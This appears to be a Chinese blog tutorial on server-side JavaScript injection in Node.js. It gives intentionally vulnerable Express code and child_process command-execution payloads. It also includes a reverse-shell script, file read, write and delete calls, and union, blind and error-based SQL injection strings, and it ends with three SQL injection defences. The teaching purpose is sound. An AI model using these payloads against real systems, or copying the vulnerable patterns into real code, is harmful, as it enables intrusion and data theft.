SSJI - Node.js漏洞介绍

本文详细介绍了SSJI(服务器端JavaScript注入),包括SQL注入和代码注入。讲解了Node.js中易受攻击的函数如eval、setTimeout、setInterval及function,并展示了如何利用这些函数进行代码执行。此外,还探讨了如何通过process模块和fs核心模块进行实际运用。最后,文章讨论了node.js中的SQL注入问题,提供了防止SQL注入的三种方法:escape()、查询参数占位符和mysql.format。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

搜索公众号:白帽子左一,领配套练手靶场,全套安全课程及工具 

一、SSJI简介

ssji,为服务器端的javascript注入,可分为sql注入和代码注入

运行于服务端的javascript常用的有node.js

node.js 是运行于服务端的javascript

把javascript变为服务器端的脚本语言

二、SSJI代码注入

SSJI代码注入原理
SSJI 代码注入是一个存在于javascript端的代码注入,存在于运行于服务端的js代码注入,当传入的参数可控且没有过滤时,就会产生漏洞,攻击者可以利用js函数执行恶意js代码

SSJI代码注入常用函数

node.js 常用的命令执行函数,由于它是运行于服务端的javascript,因此它使用的函数和javascript的相似

常用函数如下
eval() settimeout() setinterval() function()

首先看下这里的eval函数

eval
函数格式eval(string)

javascript的eval作用就是计算某个字符串,并执行其中的js代码

测试代码

var express = require("express");

var app = express();



app.get('/',function(req,res){

    res.send(eval(req.query.a));

console.log(req.query.a);

})



app.listen(3002);

console.log('Server runing at http://127.0.0.1:3002/');

这里的参数a通过get传参的方式传入运行,我们传入参数会被当作代码去执行

这里传入一个console.log()的查看效果,console.log的作用是在控制台查看回显

图片

看到这里能在控制台回显数据

function()
函数用法

function(string)()

这里的string就是我们传入的参数

这里的function用法类似于php里的create_function

这里用一个简单的测试代码测试下function是否可以执行代码

var express = require("express");

var app = express();



var aaa=Function("console.log('Hello world')")();



var server = app.listen(3088, function() {

    console.log("应用实例,访问地址为 http://127.0.0.1:3088/");

})

图片

实际测试时,当传入参数可控时,可能造成代码执行漏洞

settimeout()
函数格式
settimeout(function,time)
该函数作用是两秒后执行函数
function处为我们可控的参数

测试代码

var express = require("express");

var app = express();



setTimeout(() => {

  console.log("console.log('Hello world')");

}, 2000);



var server = app.listen(8888, function() {

    console.log("应用实例,访问地址为 http://127.0.0.1:8888/");

})

两秒后执行

函数测试效果如下

图片

当这里为一个可控的传参时,漏洞就可能触发

setInterval() 函数
函数格式(function,time)

该函数的作用是每个两秒执行一次代码

测试代码

var express = require("express");

var app = express();



setInterval(() => {

  console.log("console.log('Hello world')");

}, 2000);





var server = app.listen(8866, function() {

    console.log("应用实例,访问地址为 http://127.0.0.1:8866/");

})

函数测试如下

图片

当这里的function处为可控传参时,漏洞就有可能触发

SSJI代码注入实际运用

在实际情况下遇到该怎么运用呢?

1.利用process模块进行命令执行
process的作用是提供当前node.js进程信息并对其进行控制

这里用的比较多的,是通过child_process,即子进程区域使用,这里它的子进程可以使用更多的服务器资源

child_process下有许多不同的方法,分别为exec,forx,spawn,execfile这些
常用的有exec去执行命令

exec 用子进程执行命令,可以通过回调参数来获得执行结果

格式 exec(命令 参数,回调函数)(实际使用可以不加回调函数)

execfile 不用于执行命令,执行一个可执行文件

实际利用时,在第一个参数位置执行shell命令,类似exec

格式1 execfile(命令,{shell:true}) {shell:true} 为开启命令执行的指令

spawn 用于执行命令,但不需要获取执行结果

格式 spawn(命令,{shell:true}) 和execFile一样,需要开启命令执行的指令

fork 用于执行js文件,实际利用中需要提前写入恶意文件

fork 格式 fork(js文件(包含路径))

exec
测试命令

exec: require('child_process').exec('calc');

效果如下

图片

execFile
测试命令如下

require(‘child_process’).execFile(“calc”,{shell:true});

效果如下

图片

弹出了计算器

fork
加粗样式测试命令如下

require('child_process').fork("./555/hahaha/test92.js");

效果如下

图片

spawn
测试代码

require(‘child_process’).spawn(“calc”,{shell:true});

效果如下

图片

2.写shell
这里也可以写一个反弹shell

var net = require("net"), 

sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(3000,"127.0.0.1", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

通过child_process 去建立一个连接,同时运行cmd

效果如下

首先开启监听

图片

再运行node.js

图片

通过url去传入代码

图片

效果如下

图片

得到了目标cmd

3.通过调用核心模块fs去读取和写入文件
fs是node.js的文件系统模块,可以通过此模块来读取和写入文件

常用方法
在这里插入图片描述

这里方法又分为同步方法和异步方法

同步方法执行完并返回结果后才执行代码,异步方法使用回调函数接受返回结果,可以立刻执行代码,这里使用同步方法更加合适,同步方法写法简单,在方法后加上Sync即为同步方法

实际操作的话,需要足够的权限

这里使用同步操作的方法去使用

readdirSync
示例命令:

测试代码

res.end(require('fs').readdirSync('.').toString())

效果如下

图片

writeFileSync
测试代码

res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());

效果如下

图片

虽然报错,但还是成功写入

图片

rmdirSync
测试代码

res.end(require('fs').rmdirSync('./1234').toString());

原有文件夹 1234

图片

执行后

报错

图片

但是文件夹被删除

图片

readFileSync
res.end(require(‘fs’).readFileSync(’./write1.txt’).toString());

效果如下

图片

三、node.js sql注入

node.js编写的程序里,也可能存在sql注入,node.js作为一个运行于服务端的javascript后端脚本语言,支持的数据库有 sqlserver,mysql,sqlite,oracle等数据库,这里就用mysql举例

原理
和其他语言里存在sql注入漏洞的原因一样,都是没有对用户的输入做限制,当用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行

测试
node.js的sql注入和php这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码,拼接用户输入且带入数据库中当作代码执行,这里验证node.js代码如果没有做限制就会存在SQL注入

测试代码

var mysql      = require('mysql');

var express = require("express");

const app = express();





var db = mysql.createConnection({

  host     : 'localhost',

  user     : 'root',

  password : 'root',

  database : 'test'

});



db.connect();



app.get('/hello/:id',(req,res) => {

let sql=`select * from user where id= ${req.params.id}`;

    db.query(sql,(err,result) => {

    if(err){

    console.log(err);

res.send(err)

    }else{

    console.log(result);

    res.send(result)

    }

    })    

});

app.listen(3018, () => {
console.log(‘Server runing at http://127.0.0.1:3018/‘);
})

首先访问测试站点

图片

得到id为1时的数据

这里测试和一般的sql注入一样

首先判断下

语句 and 1=1 & and 1=2

看and 1=1的效果

图片

再看下and 1=2的效果

图片

没有输出

联合查询

首先判断字段

还是mysql数据库的,用order by 判断

图片

判断出字段数为3

用联合查询的方式判断显错位

图片

(这里由于测试的代码原因,都会显示到页面上)

测试sql语句

查询库名

图片

查询表名

图片

查询字段

图片

查询数据

图片

不仅是联合查询,其他诸如像盲注这些也可以使用

盲注测试

测试语句

and ascii(substr((select database()),1,1))>1

图片

测试语句

and ascii(substr((select database()),1,1))>1000

图片

报错注入

测试语句

and updatexml(1,concat(~,(select database())),1)

图片

如何防止SQL注入

SQL注入这类问题就是因为没有做好过滤和对传参的控制所导致的,那么node.js里如何防止SQL注入问题,主要用到了3个方法

1.escape() 参数编码
node.js里的escape函数用于编码目标字符串,在sql语句拼接输入时,将sql语句编码来起到防止sql注入

测试代码

var mysql      = require('mysql');

var express = require("express");

const app = express();





var db = mysql.createConnection({

  host     : 'localhost',

  user     : 'root',

  password : 'root',

  database : 'test'

});



db.connect();



app.get('/hello/:id',(req,res) => {

req.params.id = escape(req.params.id)

let sql=`select * from user where id= ${req.params.id}`;

    db.query(sql,(err,result) => {

    if(err){

    console.log(err);

    }else{

    console.log(result);

    res.send(result)

    }

    })    

});



app.listen(3019, () => {

console.log('Server runing at http://127.0.0.1:3019/');

})

查询后报错

图片

这里直接将查询语句编码后放入数据库查询报错

2.connection.query() 查询参数占位符
通过查询参数占位符的方法来起到绕过效果,通过占位符来达到防止sql注入的方法
采用?替换查询参数中的变量

var mysql      = require('mysql');

var express = require("express");

const app = express();



var db = mysql.createConnection({

  host     : 'localhost',

  user     : 'root',

  password : 'root',

  database : 'test'

});



db.connect();



app.get('/hello/:id',(req,res) => {

    db.query({

    sql:'select * from user where id = ?',

    values: [req.params.id],

    },

        function(err,result){

    console.log(result);   

    res.send(result)

})

});



app.listen(3020, () => {

console.log('Server runing at http://127.0.0.1:3020/');

});

图片

后续的查询语句无效,只查询了参数内容

3.mysql.format 转义
mysql.format用于转义参数,该函数会自动选择合适的方法转义参数

var mysql      = require('mysql');

var express = require("express");

const app = express();



var db = mysql.createConnection({

  host     : 'localhost',

  user     : 'root',

  password : 'root',

  database : 'test'

});



db.connect();



app.get('/hello/:id',(req,res) => {

var sql="select * from user where id= ?";

var inserts = [req.params.id];

sql=mysql.format(sql,inserts);

    db.query(sql,(err,result) => {

    if(err){

    console.log(err);

    }else{

    console.log(result);

    res.send(result)

    }

    })    

});



app.listen(3021, () => {

console.log('Server runing at http://127.0.0.1:3021/');

})

图片

只查询了id参数相关内容,后面的sql语句内容无效

参考连接
https://www.mi1k7ea.com/2020/03/29/%E6%B5%85%E6%9E%90Node-js%E5%AE%89%E5%85%A8/#SQL%E6%B3%A8%E5%85%A5
https://labs.secforce.com/posts/server-side-javascript-injection/

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值